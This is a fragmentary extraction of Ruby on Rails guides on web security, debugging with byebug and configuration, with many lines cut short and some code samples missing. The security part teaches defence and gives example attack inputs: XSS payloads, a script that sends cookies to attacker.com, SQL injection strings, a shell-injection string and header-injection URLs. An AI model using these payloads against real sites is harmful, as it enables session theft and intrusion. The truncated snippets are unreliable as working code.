response is executable code that the attacker can find a way to run,
possibly extracting sensitive data. To protect against this data leakage, we
must disallow cross-site <script> tags. Ajax requests, however, obey the
browser's same-origin policy (only your own site is allowed to initiate
XmlHttpRequest) so we can safely allow them to return JavaScript
responses.
Note: We can't distinguish a <script> tag's originwhether it's a tag on
your own site or on some other malicious siteso we must block all
<script> across the board, even if it's actually a safe same-origin script
served from your own site. In these cases, explicitly skip CSRF protection
on actions that serve JavaScript meant for a <script> tag.
To protect against all other forged requests, we introduce a required
security token that our site knows but other sites don't know. We include
the security token in requests and verify it on the server. This is a one-liner
in your application controller, and is the default for newly created rails
applications:
protect_from_forgery with: :exception
This will automatically include a security token in all forms and Ajax
requests generated by Rails. If the security token doesn't match what was
expected, an exception will be thrown.
By default, Rails includes jQuery and an unobtrusive scripting adapter for
This will redirect the user to the main action if they tried to access a legacy
action. The intention was to preserve the URL parameters to the legacy
action and pass them to the main action. However, it can be exploited by
attacker if they included a host key in the URL:
http://www.example.com/site/legacy?param1=xy¶m2=23&host=www.
If it is at the end of the URL it will hardly be noticed and redirects the user
to the attacker.com host. A simple countermeasure would be to include
only the expected parameters in a legacy action (again a whitelist
approach, as opposed to removing unexpected parameters). And if you
redirect to a URL, check it with a whitelist or a regular expression.
4.1.1 Self-contained XSS
Think of a situation where the web application removes all "../" in a file
name and an attacker uses a string such as "....//" - the result will be "../". It
is best to use a whitelist approach, which checks for the validity of a file
name with a set of accepted characters. This is opposed to a blacklist
approach which attempts to remove not allowed characters. In case it isn't
a valid file name, reject it (or replace not accepted characters), but don't
remove them. Here is the file name sanitizer from the attachment_fu
plugin:
def sanitize_filename(filename)
filename.strip.tap do |name|
# NOTE: File.basename doesn't work right with Windows paths
# get only the filename, not the whole path
name.sub! /\A.*(\\|\/)/, ''
# Finally, replace all non alphanumeric, underscore
# or periods with underscore
name.gsub! /[^\w\.\-]/, '_'
end
end
The popular Apache web server has an option called DocumentRoot. This
is the home directory of the web site, everything in this directory tree will
be served by the web server. If there are files with a certain file name
extension, the code in it will be executed when requested (might require
some options to be set). Examples for this are PHP and CGI files. Now
think of a situation where an attacker uploads a file "file.cgi" with code in
it, which will be executed when someone downloads the file.
If your Apache DocumentRoot points to Rails' /public directory, do not put
file uploads in it, store files at least one level downwards.
4.4 File Downloads
Make sure users cannot download arbitrary files.
Just as you have to filter file names for uploads, you have to do so for
downloads. The send_file() method sends files from the server to the
client. If you use a file name, that the user entered, without filtering, any
file can be downloaded:
send_file('/var/www/uploads/' + params[:filename])
Another (additional) approach is to store the file names in the database and
name the files on the disk after the ids in the database. This is also a good
introduce roles for the admin interface to limit the possibilities of the
attacker. Or how about special login credentials for the admin
interface, other than the ones used for the public part of the
application. Or a special password for very serious actions?
Does the admin really have to access the interface from everywhere
in the world? Think about limiting the login to a bunch of source IP
addresses. Examine request.remote_ip to find out about the user's IP
address. This is not bullet-proof, but a great barrier. Remember that
there might be a proxy in use, though.
Put the admin interface to a special sub-domain such as
admin.application.com and make it a separate application with its
own user management. This makes stealing an admin cookie from the
usual domain, www.application.com, impossible. This is because of
the same origin policy in your browser: An injected (XSS) script on
www.application.com may not read the cookie for
admin.application.com and vice-versa.
6 User Management
Almost every web application has to deal with authorization and
authentication. Instead of rolling your own, it is advisable to use common
plug-ins. But keep them up-to-date, too. A few additional precautions can
make your application even more secure.
There are a number of authentication plug-ins for Rails available. Good
ones, such as the popular devise and authlogic, store only encrypted
passwords, not plain-text passwords. In Rails 3.1 you can use the built-in
has_secure_password method which has similar features.
Every new user gets an activation code to activate their account when they
get an e-mail with a link in it. After activating the account, the
activation_code columns will be set to NULL in the database. If someone
requested a URL like these, they would be logged in as the first activated
user found in the database (and chances are that this is the administrator):
http://localhost:3006/user/activate
http://localhost:3006/user/activate?id=
This is possible because on some servers, this way the parameter id, as in
params[:id], would be nil. However, here is the finder from the activation
action:
User.find_by_activation_code(params[:id])
And thus it found the first user in the database, returned it and logged them
in. You can find out more about it in this blog post. It is advisable to
update your plug-ins from time to time. Moreover, you can review your
application to find more flaws like this.
6.1 Brute-Forcing Accounts
Brute-force attacks on accounts are trial and error attacks on the login
credentials. Fend them off with more generic error messages and possibly
require to enter a CAPTCHA.
A list of user names for your web application may be misused to bruteforce the corresponding passwords, because most people don't use
sophisticated passwords. Most passwords are a combination of dictionary
words and possibly numbers. So armed with a list of user names and a
dictionary, an automatic program may find the correct password in a
matter of minutes.
Because of this, most web applications will display a generic error
message "user name or password not correct", if one of these are not
correct. If it said "the user name you entered has not been found", an
attacker could automatically compile a list of user names.
However, what most web application designers neglect, are the forgotpassword pages. These pages often admit that the entered user name or email address has (not) been found. This allows an attacker to compile a list
of user names and brute-force the accounts.
In order to mitigate such attacks, display a generic error message on
forgot-password pages, too. Moreover, you can require to enter a
CAPTCHA after a number of failed logins from a certain IP address. Note,
however, that this is not a bullet-proof solution against automatic
programs, because these programs may change their IP address exactly as
often. However, it raises the barrier of an attack.
6.2 Account Hijacking
Many web applications make it easy to hijack user accounts. Why not be
different and make it more difficult?.
6.2.1 Passwords
However, the attacker may also take over the account by changing the email address. After they change it, they will go to the forgotten-password
page and the (possibly new) password will be mailed to the attacker's email address. As a countermeasure require the user to enter the password
when changing the e-mail address, too.
6.2.3 Other
Depending on your web application, there may be more ways to hijack the
user's account. In many cases CSRF and XSS will help to do so. For
example, as in a CSRF vulnerability in Google Mail. In this proof-ofconcept attack, the victim would have been lured to a web site controlled
by the attacker. On that site is a crafted IMG-tag which results in an HTTP
GET request that changes the filter settings of Google Mail. If the victim
was logged in to Google Mail, the attacker would change the filters to
forward all e-mails to their e-mail address. This is nearly as harmful as
hijacking the entire account. As a countermeasure, review your application
logic and eliminate all XSS and CSRF vulnerabilities.
6.3 CAPTCHAs
A CAPTCHA is a challenge-response test to determine that the response is
not generated by a computer. It is often used to protect registration forms
from attackers and comment forms from automatic spam bots by asking
the user to type the letters of a distorted image. This is the positive
CAPTCHA, but there is also the negative CAPTCHA. The idea of a
negative CAPTCHA is not for a user to prove that they are human, but
reveal that a robot is a robot.
A popular positive CAPTCHA API is reCAPTCHA which displays two
distorted images of words from old books. It also adds an angled line,
rather than a distorted background and high levels of warping on the text
as earlier CAPTCHAs did, because the latter were broken. As a bonus,
using reCAPTCHA helps to digitize old books. ReCAPTCHA is also a
Rails plug-in with the same name as the API.
You will get two keys from the API, a public and a private key, which you
have to put into your Rails environment. After that you can use the
recaptcha_tags method in the view, and the verify_recaptcha method in the
controller. Verify_recaptcha will return false if the validation fails. The
problem with CAPTCHAs is that they have a negative impact on the user
experience. Additionally, some visually impaired users have found certain
kinds of distorted CAPTCHAs difficult to read. Still, positive CAPTCHAs
are one of the best methods to prevent all kinds of bots from submitting
forms.
Most bots are really dumb. They crawl the web and put their spam into
every form's field they can find. Negative CAPTCHAs take advantage of
that and include a "honeypot" field in the form which will be hidden from
the human user by CSS or JavaScript.
Note that negative CAPTCHAs are only effective against dumb bots and
won't suffice to protect critical applications from targeted bots. Still, the
This may work fine in some languages. However, in Ruby ^ and $ match
the line beginning and line end. And thus a URL like this passes the filter
without problems:
javascript:exploit_code();/*
http://hi.com
*/
This URL passes the filter because the regular expression matches - the
second line, the rest does not matter. Now imagine we had a view that
showed the URL like this:
link_to "Homepage", @user.homepage
The link looks innocent to visitors, but when it's clicked, it will execute the
JavaScript function "exploit_code" or any other JavaScript the attacker
provides.
To fix the regular expression, \A and \z should be used instead of ^ and $,
like so:
/\Ahttps?:\/\/[^\n]+\z/i
Note that this only protects you against the most common mistake when
using the format validator - you always need to keep in mind that ^ and $
match the line beginning and line end in Ruby, and not the beginning and
end of a string.
6.7 Privilege Escalation
Changing a single parameter may give the user unauthorized access.
Remember that every parameter may be changed, no matter how much you
hide or obfuscate it.
The most common parameter that a user might tamper with, is the id
parameter, as in http://www.domain.com/project/1, whereas 1 is the id.
It will be available in params in the controller. There, you will most likely
do something like this:
@project = Project.find(params[:id])
This is alright for some web applications, but certainly not if the user is not
authorized to view all projects. If the user changes the id to 42, and they
are not allowed to see that information, they will have access to it anyway.
Instead, query the user's access rights, too:
@project = @current_user.projects.find(params[:id])
7 Injection
Injection is a class of attacks that introduce malicious code or parameters
into a web application in order to run it within its security context.
Prominent examples of injection are cross-site scripting (XSS) and SQL
injection.
Injection is very tricky, because the same code or parameter can be
malicious in one context, but totally harmless in another. A context can be
a scripting, query or programming language, the shell or a Ruby/Rails
method. The following sections will cover all important contexts where
injection attacks may happen. The first section, however, covers an
architectural decision in connection with Injection.
7.1 Whitelists versus Blacklists
When sanitizing, protecting or verifying something, prefer whitelists over
blacklists.
A blacklist can be a list of bad e-mail addresses, non-public actions or bad
HTML tags. This is opposed to a whitelist which lists the good e-mail
addresses, public actions, good HTML tags and so on. Although
sometimes it is not possible to create a whitelist (in a SPAM filter, for
example), prefer to use whitelist approaches:
Use before_action except: [...] instead of only: [...] for securityrelated actions. This way you don't forget to enable security checks
for newly added actions.
Allow <strong> instead of removing <script> against Cross-Site
Scripting (XSS). See below for details.
Don't try to correct user input by blacklists:
This will make the attack work: "<sc<script>ript>".gsub("
<script>", "")
But reject malformed input
Whitelists are also a good approach against the human factor of forgetting
something in the blacklist.
7.2 SQL Injection
Thanks to clever methods, this is hardly a problem in most Rails
applications. However, this is a very devastating and common attack in
web applications, so it is important to understand the problem.
7.2.1 Introduction
This could be in a search action and the user may enter a project's name
that they want to find. If a malicious user enters ' OR 1 --, the resulting
SQL query will be:
SELECT * FROM projects WHERE name = '' OR 1 --'
The two dashes start a comment ignoring everything after it. So the query
returns all records from the projects table including those blind to the user.
This is because the condition is true for all records.
7.2.2 Bypassing Authorization
Usually a web application includes access control. The user enters their
login credentials and the web application tries to find the matching record
in the users table. The application grants access when it finds a record.
However, an attacker may possibly bypass this check with SQL injection.
The following shows a typical database query in Rails to find the first
record in the users table which matches the login credentials parameters
supplied by the user.
If an attacker enters ' OR '1'='1 as the name, and ' OR '2'>'1 as the
password, the resulting SQL query will be:
SELECT * FROM users WHERE login = '' OR '1'='1' AND password = '
This will simply find the first record in the database, and grants access to
this user.
7.2.3 Unauthorized Reading
The UNION statement connects two SQL queries and returns the data in
one set. An attacker can use it to read arbitrary data from the database.
Let's take the example from above:
Project.where("name = '#{params[:name]}'")
And now let's inject another query using the UNION statement:
Ruby on Rails has a built-in filter for special SQL characters, which will
escape ' , " , NULL character and line breaks. Using Model.find(id) or
Model.find_by_some thing(something) automatically applies this
countermeasure. But in SQL fragments, especially in conditions fragments
(where("...")), the connection.execute() or Model.find_by_sql()
methods, it has to be applied manually.
Instead of passing a string to the conditions option, you can pass an array
to sanitize tainted strings like this:
As you can see, the first part of the array is an SQL fragment with question
marks. The sanitized versions of the variables in the second part of the
array replace the question marks. Or you can pass a hash for the same
result:
The array or hash form is only available in model instances. You can try
sanitize_sql() elsewhere. Make it a habit to think about the security
consequences when using an external string in SQL.
7.3 Cross-Site Scripting (XSS)
The most widespread, and one of the most devastating security
vulnerabilities in web applications is XSS. This malicious attack injects
client-side executable code. Rails provides helper methods to fend these
attacks off.
7.3.1 Entry Points
The most common XSS language is of course the most popular client-side
scripting language JavaScript, often in combination with HTML. Escaping
user input is essential.
Here is the most straightforward test to check for XSS:
<script>alert('Hello');</script>
This JavaScript code will simply display an alert box. The next examples
do exactly the same, only in very uncommon places:
<img src=javascript:alert('Hello')>
<table background="javascript:alert('Hello')">
7.3.2.1 Cookie Theft
These examples don't do any harm so far, so let's see how an attacker can
steal the user's cookie (and thus hijack the user's session). In JavaScript
you can use the document.cookie property to read and write the
document's cookie. JavaScript enforces the same origin policy, that means
a script from one domain cannot access cookies of another domain. The
document.cookie property holds the cookie of the originating web server.
However, you can read and write this property, if you embed the code
directly in the HTML document (as it happens with XSS). Inject this
anywhere in your web application to see your own cookie on the result
page:
<script>document.write(document.cookie);</script>
For an attacker, of course, this is not useful, as the victim will see their
own cookie. The next example will try to load an image from the URL
http://www.attacker.com/ plus the cookie. Of course this URL does not
exist, so the browser displays nothing. But the attacker can review their
web server's access log files to see the victim's cookie.
<script>document.write('<img src="http://www.attacker.com/' + do
GET http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4
You can mitigate these attacks (in the obvious way) by adding the
httpOnly flag to cookies, so that document.cookie may not be read by
JavaScript. Http only cookies can be used from IE v6.SP1, Firefox
v2.0.0.5 and Opera 9.5. Safari is still considering, it ignores the option. But
other, older browsers (such as WebTV and IE 5.5 on Mac) can actually
cause the page to fail to load. Be warned that cookies will still be visible
using Ajax, though.
7.3.2.2 Defacement
With web page defacement an attacker can do a lot of things, for example,
present false information or lure the victim on the attackers web site to
steal the cookie, login credentials or other sensitive data. The most popular
way is to include code from external sources by iframes:
This loads arbitrary HTML and/or JavaScript from an external source and
embeds it as part of the site. This iframe is taken from an actual attack on
legitimate Italian sites using the Mpack attack framework. Mpack tries to
install malicious software through security holes in the web browser - very
successfully, 50% of the attacks succeed.
A more specialized attack could overlap the entire web site or display a
login form, which looks the same as the site's original, but transmits the
user name and password to the attacker's site. Or it could use CSS and/or
JavaScript to hide a legitimate link in the web application, and display
another one at its place which redirects to a fake web site.
Reflected injection attacks are those where the payload is not stored to
present it to the victim later on, but included in the URL. Especially search
forms fail to escape the search string. The following link presented a page
which stated that "George Bush appointed a 9 year old boy to be the
chairperson...":
http://www.cbsnews.com/stories/2002/02/15/weather_local/main5016
<script src=http://www.securitylab.ru/test/sc.js></script><!-7.3.2.3 Countermeasures
This allows only the given tags and does a good job, even against all kinds
of tricks and malformed tags.
As a second step, it is good practice to escape all output of the application,
especially when re-displaying user input, which hasn't been input-filtered
(as in the search form example earlier on). Use escapeHTML() (or its alias
h()) method to replace the HTML input characters &, ", <, and > by their
uninterpreted representations in HTML (&, ", <, and >).
However, it can easily happen that the programmer forgets to use it, so _it
is recommended to use the SafeErb gem. SafeErb reminds you to escape
strings from external sources.
7.3.2.4 Obfuscation and Encoding Injection
code can be hidden in different encodings that the web browser might be
able to process, but the web application might not. Here is an attack vector
in UTF-8 encoding:
<IMG SRC=javascrip
lert('XSS')>
<img src='http://us.i1.yimg.com/us.yimg.com/i/us/nt/ma/ma_mail_1
target=""onload="var http_request = false; var Email = '';
var IDList = ''; var CRumb = ''; function makeRequest(url,
So the payload is in the style attribute. But there are no quotes allowed in
the payload, because single and double quotes have already been used. But
JavaScript has a handy eval() function which executes any string as code.
The eval() function is a nightmare for blacklist input filters, as it allows the
The next problem was MySpace filtering the word "javascript", so the
author used "java<NEWLINE>script" to get around this:
Another problem for the worm's author was the CSRF security tokens.
Without them he couldn't send a friend request over POST. He got around
it by sending a GET to the page right before adding a user and parsing the
result for the CSRF token.
In the end, he got a 4 KB worm, which he injected into his profile page.
The moz-binding CSS property proved to be another way to introduce
JavaScript in CSS in Gecko-based browsers (Firefox, for example).
7.4.1 Countermeasures
vulnerable to XSS.
For example, RedCloth translates _test_ to <em>test<em>, which makes
the text italic. However, up to the current version 3.0.4, it is still vulnerable
to XSS. Get the all-new version 4 that removed serious bugs. However,
even that version has some security bugs, so the countermeasures still
apply. Here is an example for version 3.0.4:
RedCloth.new('<script>alert(1)</script>').to_html
# => "<script>alert(1)</script>"
Use the :filter_html option to remove HTML which was not created by the
Textile processor.
RedCloth.new('<script>alert(1)</script>', [:filter_html]).to_htm
# => "alert(1)"
However, this does not filter all HTML, a few tags will be left (by design),
for example <a>:
If you use the in_place_editor plugin, or actions that return a string, rather
than rendering a view, you have to escape the return value in the action.
Otherwise, if the return value contains a XSS string, the malicious code
will be executed upon return to the browser. Escape any input value using
the h() method.
7.7 Command Line Injection
Use user-supplied command line parameters with caution.
If your application has to execute commands in the underlying operating
system, there are several methods in Ruby: exec(command),
syscall(command), system(command) and command. You will have to be
especially careful with these functions if the user may enter the whole
command, or a part of it. This is because in most shells, you can execute
another command at the end of the first one, concatenating them with a
semicolon (;) or a vertical bar (|).
A countermeasure is to use the system(command, parameters) method
which passes command line parameters safely.
system("/bin/echo","hello; rm *")
# prints "hello; rm *" and does not delete files
to escape these header fields, too. For example when you display the user
agent in an administration area.
Besides that, it is important to know what you are doing when building
response headers partly based on user input. For example you want to
redirect the user back to a specific page. To do that you introduced a
"referer" field in a form to redirect to the given address:
redirect_to params[:referer]
What happens is that Rails puts the string into the Location header field
and sends a 302 (redirect) status to the browser. The first thing a malicious
user would do, is this:
http://www.yourapplication.com/controller/action?referer=http://
And due to a bug in (Ruby and) Rails up to version 2.1.2 (excluding it), a
hacker may inject arbitrary header fields; for example like this:
http://www.yourapplication.com/controller/action?referer=http://
http://www.yourapplication.com/controller/action?referer=path/at
So attack vectors for Header Injection are based on the injection of CRLF
characters in a header field. And what could an attacker do with a false
redirection? They could redirect to a phishing site that looks the same as
yours, but ask to login again (and sends the login credentials to the
attacker). Or they could install malicious software through browser
security holes on that site. Rails 2.1.2 escapes these characters for the
Location field in the redirect_to method. Make sure you do it yourself
when you build other header fields with user input.
7.8.1 Response Splitting
<html><font color=red>hey</font></html>
Keep-Alive: timeout=15, max=100 shown as the redirected
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html
Parameters
{ "person": null }
{ :person => nil }
{ "person": [] }
{ :person => [] }
{ "person": [null] }
{ :person => [] }
{ "person": [null, null, ...] } { :person => [] }
{ "person": ["foo", null] }
{ :person => ["foo"] }
config.action_dispatch.perform_deep_munge = false
9 Default Headers
Every HTTP response from your Rails application receives the following
default security headers.
config.action_dispatch.default_headers = {
'X-Frame-Options' => 'SAMEORIGIN',
'X-XSS-Protection' => '1; mode=block',
'X-Content-Type-Options' => 'nosniff'
}
10 Environmental Security
It is beyond the scope of this guide to inform you on how to secure your
application code and environments. However, please secure your database
configuration, e.g. config/database.yml, and your server-side secret, e.g.
stored in config/secrets.yml. You may want to further restrict access,
using environment-specific versions of these files and any others that may
contain sensitive information.
10.1 Custom secrets
Rails generates a config/secrets.yml. By default, this file contains the
application's secret_key_base, but it could also be used to store other
secrets such as access keys for external APIs.
The secrets added to this file are accessible via
Rails.application.secrets. For example, with the following
config/secrets.yml:
development:
secret_key_base: 3b7cd727ee24e8444053437c36cc66c3
some_api_key: SOMEKEY
development environment.
If you want an exception to be raised when some key is blank, use the
bang version:
11 Additional Resources
The security landscape shifts and it is important to keep up to date,
because missing a new vulnerability can be catastrophic. You can find
additional resources about (Rails) security here:
Subscribe to the Rails security mailing list
Keep up to date on the other application layers (they have a weekly
newsletter, too)
A good security blog including the Cross-Site scripting Cheat Sheet
1.1 debug
The debug helper will return a <pre> tag that renders the object using the
YAML format. This will generate human-readable data from any object.
For example, if you have this code in a view:
<%= debug @article %>
<p>
<b>Title:</b>
<%= @article.title %>
</p>
1.2 to_yaml
Alternatively, calling to_yaml on any object converts it to YAML. You
can pass this converted object into the simple_format helper method to
format the output. This is how debug does its magic.
<%= simple_format @article.to_yaml %>
<p>
<b>Title:</b>
<%= @article.title %>
</p>
1.3 inspect
Another useful method for displaying object values is inspect, especially
when working with arrays or hashes. This will print the object value as a
string. For example:
<%= [1, 2, 3, 4, 5].inspect %>
<p>
<b>Title:</b>
<%= @article.title %>
</p>
Will render:
[1, 2, 3, 4, 5]
Title: Rails debugging guide
2 The Logger
It can also be useful to save information to log files at runtime. Rails
maintains a separate log file for each runtime environment.
2.1 What is the Logger?
Rails makes use of the ActiveSupport::Logger class to write log
information. Other loggers, such as Log4r, may also be substituted.
You can specify an alternative logger in config/application.rb or any
other environment file, for example:
config.logger = Logger.new(STDOUT)
config.logger = Log4r::Logger.new("Application Log")
By default, each log is created under Rails.root/log/ and the log file is
named after the environment in which the application is running.
2.2 Log Levels
When something is logged, it's printed into the corresponding log if the log
level of the message is equal to or higher than the configured log level. If
you want to know the current log level, you can call the
Rails.logger.level method.
The available log levels are: :debug, :info, :warn, :error, :fatal, and
:unknown, corresponding to the log level numbers from 0 up to 5,
This is useful when you want to log under development or staging without
flooding your production log with unnecessary information.
The default Rails log level is debug in all environments.
2.3 Sending Messages
To write in the current log use the logger.
(debug|info|warn|error|fatal) method from within a controller, model
or mailer:
if @article.save
flash[:notice] = 'Article was successfully created.'
logger.debug "The article was saved and now the user is go
redirect_to(@article)
else
render action: "new"
end
end
# ...
end
Adding extra logging like this makes it easy to search for unexpected or
unusual behavior in your logs. If you add extra logging, be sure to make
sensible use of log levels to avoid filling your production logs with useless
trivia.
2.4 Tagged Logging
When running multi-user, multi-account applications, it's often useful to be
able to filter the logs using some custom rules. TaggedLogging in Active
Support helps you do exactly that by stamping log lines with subdomains,
request ids, and anything else to aid debugging such applications.
logger = ActiveSupport::TaggedLogging.new(Logger.new(STDOUT))
The contents of the block, and therefore the string interpolation, are only
evaluated if debug is enabled. This performance savings are only really
noticeable with large amounts of logging, but it's a good practice to
employ.
Inside any Rails application you can then invoke the debugger by calling
the byebug method.
Here's an example:
class PeopleController < ApplicationController
def new
byebug
@person = Person.new
end
end
As soon as your application calls the byebug method, the debugger will be
started in a debugger shell inside the terminal window where you launched
your application server, and you will be placed at the debugger's prompt
(byebug). Before the prompt, the code around the line that is about to be
run will be displayed and the current line will be marked by '=>', like this:
If you got there by a browser request, the browser tab containing the
request will be hung until the debugger has finished and the trace has
finished processing the entire request.
For example:
To see the previous ten lines you should type list- (or l-).
(byebug) l-
This way you can move inside the file and see the code above the line
where you added the byebug call. Finally, to see where you are in the code
again you can type list=
(byebug) list=
(byebug) where
--> #0 ArticlesController.index
at /PathToProject/app/controllers/articles_controller.rb:8
#1 ActionController::BasicImplicitRender.send_action(method
at /PathToGems/actionpack-5.0.0/lib/action_controller/meta
#2 AbstractController::Base.process_action(action#NilClass,
at /PathToGems/actionpack-5.0.0/lib/abstract_controller/ba
#3 ActionController::Rendering.process_action(action, *args
at /PathToGems/actionpack-5.0.0/lib/action_controller/meta
...
The current frame is marked with -->. You can move anywhere you want
in this trace (thus changing the context) by using the frame n command,
where n is the specified frame number. If you do that, byebug will display
your new context.
(byebug) frame 2
The available variables are the same as if you were running the code line
by line. After all, that's what debugging is.
You can also use up [n] and down [n] commands in order to change the
context n frames up or down the stack respectively. n defaults to one. Up
in this case is towards higher-numbered stack frames, and down is towards
lower-numbered stack frames.
3.4 Threads
The debugger can list, stop, resume and switch between running threads by
using the thread command (or the abbreviated th). This command has a
handful of options:
(byebug) instance_variables
[:@_action_has_layout, :@_routes, :@_request, :@_response, :@_lo
:@_action_name, :@_response_body, :@marked_for_same_origin_veri
:@_config]
As you may have figured out, all of the variables that you can access from
a controller are displayed. This list is dynamically updated as you execute
code. For example, run the next line using next (you'll learn more about
this command later in this guide).
(byebug) next
(byebug) instance_variables
[:@_action_has_layout, :@_routes, :@_request, :@_response, :@_lo
:@_action_name, :@_response_body, :@marked_for_same_origin_veri
:@_config, :@articles]
This is a great way to inspect the values of the current context variables.
For example, to check that we have no local variables currently defined:
(byebug) var local
(byebug)
You can also use display to start watching variables. This is a good way
of tracking the values of a variable while the execution goes on.
(byebug) display @articles
1: @articles = nil
The variables inside the displayed list will be printed with their values
after you move in the stack. To stop displaying a variable use undisplay n
where n is the variable number (1 in the last example).
3.6 Step by Step
Now you should know where you are in the running trace and be able to
print the available variables. But let's continue and move on with the
application execution.
Use step (abbreviated s) to continue running your program until the next
logical stopping point and return control to the debugger. next is similar to
step, but while step stops at the next line of code executed, doing just a
single step, next moves to the next line without descending inside
methods.
For example, consider the following situation:
Started GET "/" for 127.0.0.1 at 2014-04-11 13:39:23 +0200
Processing by ArticlesController#index as HTML
[1, 6] in /PathToProject/app/models/article.rb
1: class Article < ApplicationRecord
2: def self.find_recent(limit = 10)
3: byebug
=> 4: where('created_at > ?', 1.week.ago).limit(limit)
5: end
6: end
(byebug)
If we use next, we won't go deep inside method calls. Instead, byebug will
go to the next line within the same context. In this case, it is the last line of
the current method, so byebug will return to the next line of the caller
method.
(byebug) next
[4, 13] in /PathToProject/app/controllers/articles_controller.rb
4: # GET /articles
5: # GET /articles.json
6: def index
7: @articles = Article.find_recent
8:
=> 9: respond_to do |format|
10: format.html # index.html.erb
11: format.json { render json: @articles }
12: end
13: end
(byebug)
If we use step in the same situation, byebug will literally go to the next
Ruby instruction to be executed -- in this case, Active Support's week
method.
(byebug) step
3.7 Breakpoints
A breakpoint makes your application stop whenever a certain point in the
program is reached. The debugger shell is invoked in that line.
You can add breakpoints dynamically with the command break (or just b).
There are 3 possible ways of adding breakpoints manually:
break n: set breakpoint in line number n in the current source file.
break file:n [if expression]: set breakpoint in line number n
list or all breakpoints to stop your program. This is the default state
when you create a breakpoint.
disable breakpoints [n [m [...]]]: make certain (or all)
breakpoints have no effect on your program.
3.8 Catching Exceptions
The command catch exception-name (or just cat exception-name) can
be used to intercept an exception of type exception-name when there
would otherwise be no handler for it.
To list all active catchpoints use catch.
3.9 Resuming Execution
There are two ways to resume execution of an application that is stopped
in the debugger:
continue [n]: resumes program execution at the address where your
script last stopped; any breakpoints set at that address are bypassed.
The optional argument n allows you to specify a line number to set a
one-time breakpoint which is deleted when that breakpoint is reached.
finish [n]: execute until the selected stack frame returns. If no
frame number is given, the application will run until the currently
selected frame returns. The currently selected frame starts out the
most-recent frame or 0 if no frame positioning (e.g up, down or
frame) has been performed. If a frame number is given it will run
until the specified frame returns.
3.10 Editing
Two commands allow you to open code from the debugger into an editor:
edit [file:n]: edit file named file using the editor specified by the
You can see these environment settings with the "show" command
List of supported settings:
You can save these settings in an .byebugrc file in your home directory.
The debugger reads these global settings when it starts. For example:
set callstyle short
set listsize 25
Or in a view:
<% console %>
<h2>New Post</h2>
This will render a console inside your view. You don't need to care about
the location of the console call; it won't be rendered on the spot of its
invocation but next to your HTML content.
The console executes pure Ruby code: You can define and instantiate
custom classes, create new models and inspect variables.
Only one console can be rendered per request. Otherwise web-console
will raise an error on the second console invocation.
7 References
ruby-debug Homepage
debugger Homepage
byebug Homepage
web-console Homepage
Article: Debugging a Rails application with ruby-debug
Ryan Bates' debugging ruby (revised) screencast
Ryan Bates' stack trace screencast
Ryan Bates' logger screencast
Debugging with ruby-debug
This is a setting for Rails itself. If you want to pass settings to individual
Rails components, you can do so via the same config object in
config/application.rb:
config.active_record.schema_format = :ruby
end
config.asset_host sets the host for the assets. Useful when CDNs
are used for hosting assets, or when you want to work around the
concurrency constraints built-in in browsers using different domain
aliases. Shorter version of config.action_controller.asset_host.
config.autoload_once_paths accepts an array of paths from which
Rails will autoload constants that won't be wiped per request.
Relevant if config.cache_classes is false, which is the case in
development mode by default. Otherwise, all autoloading happens
only once. All elements of this array must also be in autoload_paths.
Default is an empty array.
config.autoload_paths accepts an array of paths from which Rails
will autoload constants. Default is all directories under app.
config.cache_classes controls whether or not application classes
and modules should be reloaded on each request. Defaults to false in
development mode, and true in test and production modes.
config.action_view.cache_template_loading controls whether or
not templates should be reloaded on each request. Defaults to
whatever is set for config.cache_classes.
config.beginning_of_week sets the default beginning of week for
the application. Accepts a valid week day symbol (e.g. :monday).
config.cache_store configures which cache store to use for Rails
caching. Options include one of the symbols :memory_store,
:file_store, :mem_cache_store, :null_store, or an object that
implements the cache API. Defaults to :file_store if the directory
tmp/cache exists, and to :memory_store otherwise.
config.colorize_logging specifies whether or not to use ANSI
color codes when logging information. Defaults to true.
config.consider_all_requests_local is a flag. If true then any
error will cause detailed debugging information to be dumped in the
HTTP response, and the Rails::Info controller will show the
application runtime context in /rails/info/properties. True by
respectively.
config.assets.gzip a flag that enables the creation of gzipped
The full set of methods that can be used in this block are as follows:
assets allows to create assets on generating a scaffold. Defaults to
true.
force_plural allows pluralized model names. Defaults to false.
helper defines whether or not to generate helpers. Defaults to true.
integration_tool defines which integration tool to use to generate
integration tests. Defaults to :test_unit.
javascripts turns on the hook for JavaScript files in generators.
Used in Rails for when the scaffold generator is run. Defaults to
true.
javascript_engine configures the engine to be used (for eg. coffee)
when generating assets. Defaults to :js.
orm defines which orm to use. Defaults to false and will use Active
Record by default.
resource_controller defines which generator to use for generating
a controller when using rails generate resource. Defaults to
:controller.
resource_route defines whether a resource route definition should
be generated or not. Defaults to true.
scaffold_controller different from resource_controller, defines
memory backed cache. This cache is not thread safe and is intended
only for serving as a temporary memory cache for a single thread.
Rack::Runtime sets an X-Runtime header, containing the time (in
seconds) taken to execute the request.
Rails::Rack::Logger notifies the logs that the request has begun.
After request is complete, flushes all the logs.
them as so.
Besides these usual middleware, you can add your own by using the
config.middleware.use method:
config.middleware.use Magical::Unicorns
This will put the Magical::Unicorns middleware on the end of the stack.
You can use insert_before if you wish to add a middleware before
another.
config.middleware.insert_before Rack::Head, Magical::Unicorns
the app. Defaults to all locale keys found in locale files, usually only
:en on a new application.
config.i18n.default_locale sets the default locale of an
application used for i18n. Defaults to :en.
config.i18n.enforce_available_locales ensures that all locales
passed through i18n must be declared in the available_locales list,
raising an I18n::InvalidLocale exception when setting an
unavailable locale. Defaults to true. It is recommended not to disable
this option unless strongly required, since this works as a security
measure against setting any invalid locale from user input.
config.i18n.load_path sets the path Rails uses to look for locale
files. Defaults to config/locales/*.{yml,rb}.
3.6 Configuring Active Record
config.active_record includes a variety of configuration options:
config.active_record.logger accepts a logger conforming to the
controls whether or not partial writes are used (i.e. whether updates
only set attributes that are dirty). Note that when using partial writes,
you should also use optimistic locking
config.active_record.lock_optimistically since concurrent
